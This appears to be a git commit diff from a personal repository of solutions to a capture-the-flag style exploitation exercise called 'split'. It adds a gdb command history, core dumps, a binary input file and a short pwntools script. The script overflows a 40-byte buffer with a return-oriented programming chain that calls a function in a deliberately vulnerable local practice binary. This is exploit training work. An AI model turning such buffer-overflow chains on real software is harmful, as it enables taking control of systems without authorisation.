summaryrefslogtreecommitdiff
path: root/x86_64/split
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/split')
-rw-r--r--x86_64/split/.gdb_history256
-rw-r--r--x86_64/split/corebin0 -> 2183168 bytes
-rw-r--r--x86_64/split/core.split.25050bin0 -> 7067872 bytes
-rwxr-xr-xx86_64/split/exploit.py17
-rw-r--r--x86_64/split/fuckyoubin0 -> 64 bytes
-rw-r--r--x86_64/split/xaabin0 -> 50 bytes
6 files changed, 273 insertions, 0 deletions
diff --git a/x86_64/split/.gdb_history b/x86_64/split/.gdb_history
new file mode 100644
index 0000000..7bd75aa
--- /dev/null
+++ b/x86_64/split/.gdb_history
@@ -0,0 +1,256 @@
+print (char)usefulString
+print (char&)usefulString
+print (char*)usefulString
+print (char)*usefulString
+print (charusefulString
+print (char)usefulString
+print (char*)usefulString
+print (char)*usefulString
+quit
+exit
+quit
+nexti
+exit
+quit
+exit
+quit
+quit
+exit
+quit
+context
+next
+continue
+context
+quit
+nexti
+continu
+context
+q
+context
+run
+break main
+continue
+context
+nexti
+backtrace
+set exception-debugger on
+continue
+quit
+stepi
+ret
+return
+stepi
+break
+delete
+run
+continue
+clear
+delete
+continue
+clear
+delete
+continue
+delete 0x7f992453fece
+delete 0
+delete 1
+delete 2
+delete 3
+quit
+continue
+context
+q
+context
+q
+quit
+continue
+context
+continue
+q
+q
+break main
+continue
+context
+nexti
+stepi
+quit
+break main
+run
+conitnue
+continue
+context
+stepi
+nexti
+stepi
+return
+stepi
+return
+stepi
+ret
+return
+stepi
+return
+stepi
+stepi
+info breakpoints
+stepi
+return
+stepi
+nexti
+break 0x400706
+break *0x400706
+quit
+continue
+context
+q
+continue
+context
+continue
+quit
+continue
+continue
+quit
+continue
+context
+quit
+continue
+quit
+exit
+quit
+nexti
+continue
+quit
+continue
+quit
+break pwnme
+nexti
+continue
+bexti
+nexti
+quit
+quit
+continue
+quit
+continue
+nexti
+quit
+continue
+q
+continue
+quit
+continue
+[
+quit
+start < fuckyou
+continue
+q
+break *0x0x000000000040074b
+break *0x000000000040074b
+run < fuckyou
+context
+x/s 0x7fffffffdb20
+x/s 0x7fffffffdb20 - 20
+x/s 0x7fffffffdb2
+quit
+break *0x000000000040074b
+run < fuckyou
+context
+x/s 0x7fffffffdb20
+x/s 0x7fffffffdb20 - 8
+x/s 0x7fffffffdb20
+x/s 0x7fffffffdb20 - 8
+x/s 0x7fffffffdb20 + 8
+quit
+quit
+run < fuckyou
+quit
+break *0x000000000040074b
+run < fuckyou
+context
+stepi
+q
+break *0x000000000040074b
+run < fuckyou
+context
+q
+break *0x000000000040074b
+run < fuckyou
+context
+x 0x7fffffffdb20-8
+x 0x7ffff7fad800
+q
+break pwnme
+run < fuckyou
+nexti
+q
+break pwnme
+run
+q
+break pwnme
+run < fuckyou
+context
+nexti
+q
+break pwnme
+run < fuckyou
+nexti
+x/100c 0x7ffff7fad800
+context
+nexti
+quit
+break *0x00000000004007c3
+run < fuckyou
+context
+nexti
+stepi
+q
+break pwnme
+start < fuckyou
+context
+stepi
+return
+context
+break pwnme
+continue
+q
+break pwnme
+run < fuckyou
+context
+nexti
+stepi
+q
+continue
+quit
+continue
+[A
+quit
+q
+info break
+nexti
+break main
+continue
+nexti
+return
+nexti
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+continue
+q
+continue
+nexti
+q
+continue
+nexti
+continue
+quit
diff --git a/x86_64/split/core b/x86_64/split/core
new file mode 100644
index 0000000..cf4e312
--- /dev/null
+++ b/x86_64/split/core
Binary files differ
diff --git a/x86_64/split/core.split.25050 b/x86_64/split/core.split.25050
new file mode 100644
index 0000000..6acafe1
--- /dev/null
+++ b/x86_64/split/core.split.25050
Binary files differ
diff --git a/x86_64/split/exploit.py b/x86_64/split/exploit.py
new file mode 100755
index 0000000..0340b77
--- /dev/null
+++ b/x86_64/split/exploit.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+from pwn import *
+
+
+context.binary = "./split"
+prog = process('./split')
+payload = b''
+
+for c in range(40): #originally 40
+ payload += b'a'
+
+payload += p64(0x00000000004007c3)
+payload += p64(0x0000000000601060) # usefulString
+payload += p64(0x000000000040074b) # usefulFunction + offset
+
+prog.sendline(payload)
+prog.interactive()
diff --git a/x86_64/split/fuckyou b/x86_64/split/fuckyou
new file mode 100644
index 0000000..d25275b
--- /dev/null
+++ b/x86_64/split/fuckyou
Binary files differ
diff --git a/x86_64/split/xaa b/x86_64/split/xaa
new file mode 100644
index 0000000..f1294fd
--- /dev/null
+++ b/x86_64/split/xaa
Binary files differ